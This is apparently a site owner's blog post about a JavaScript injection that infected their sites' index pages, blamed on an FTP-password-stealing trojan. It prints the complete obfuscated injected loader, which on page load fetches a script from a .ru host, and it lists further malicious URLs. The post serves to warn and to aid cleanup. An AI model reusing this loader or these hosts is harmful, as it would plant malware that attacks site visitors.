Javascript injection damage seo work

It looks on the web many sites was affected by some javascript injection. Some of my sites get this script on the index/default pages:

<script>/*GNU GPL*/
try{window.onload = function(){var V9vs0ipwfom
= document.createElement('script');
V9vs0ipwfom.setAttribute('type', 'text/javascript');
V9vs0ipwfom.setAttribute('id', 'myscript1');
V9vs0ipwfom.setAttribute('src',  'h#&t$^&t#&!^&p$#!#:^/$!!/!&#g))a#(m&!@e!r@)-#)@c&^$o#&
(m@^-&^#(t#@#(w^.^w$$r^)!z(&#u&t&()a)(.&#!p@@$&l!!).)@p)#$l$&a^(y)^@^-(c)^^o^!@@m&!(#.)b&#)(r))(o!
(w!!#n!#b&&a&&(@g#^b$&&a#&r@@#.$#&
(r(u(:$^#8#)0($8!0!&&/((&g)o((&(o@#(g()(l@e!@).^)c^!)@^o^#)m^&!
/&)@g#)$!o(o##&g)l#)!e!&@).^(c!(o(!$m^)^/!@&w!@o(^!r(@!(d@#$p!$r$#
(!&e)s$^s(!.$o#@(r@g^@!/@!#h@p@^.$c@^o&()m^@)/$#)^s$u)r)v!e)@$y$$m&!!o)
(@$n!@k&#@e$(#&$y!#^$.!#c#&o&m!(/&&'
.replace(/@|&|\)|\^|#|\(|\$|\!/ig, ''));
V9vs0ipwfom.setAttribute('defer', 'defer');
document.body.appendChild(V9vs0ipwfom);}}
catch(e) {}script>

The code was running the script from http://gamer-com-tw.wrzuta.pl.play-com.brownbagbar.ru:8080/google.com/google.com/wordpress.org/hp.com/surveymonkey.com/


Searching in google I found that the script take also the code from http://live.com.google.com.baidu-msn.com.bestartsale.ru:8080/wordpress.com/google-mail.it/livejasmin-photobucket.com/cnet-cnn.com/about-ebay.com/ or http://xtube-com.blogger.com.pornorama-com.bluejackmusic.ru:8080/hdfcbank.com/hdfcbank.com/google.com/fanpop.com/in.com/

The solution was Malwarebytes Anti-Malware scanner which detect next files (trojans): siszyd32.exe and av_md.exe guess where, in system 32 :)

What does this trojan do? Simple get the passwords stored on Fillezila, total commander or other ftp clients that you may use and check the password storage!! After this the trojan login and infect all files called index or default .html/.php/.htm

Update: Same happened with a javascript that inset into your wordpress header next code:
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Solution is the same Malwarebytes Anti-Malware
I also hope your hosting company have backups of your sites!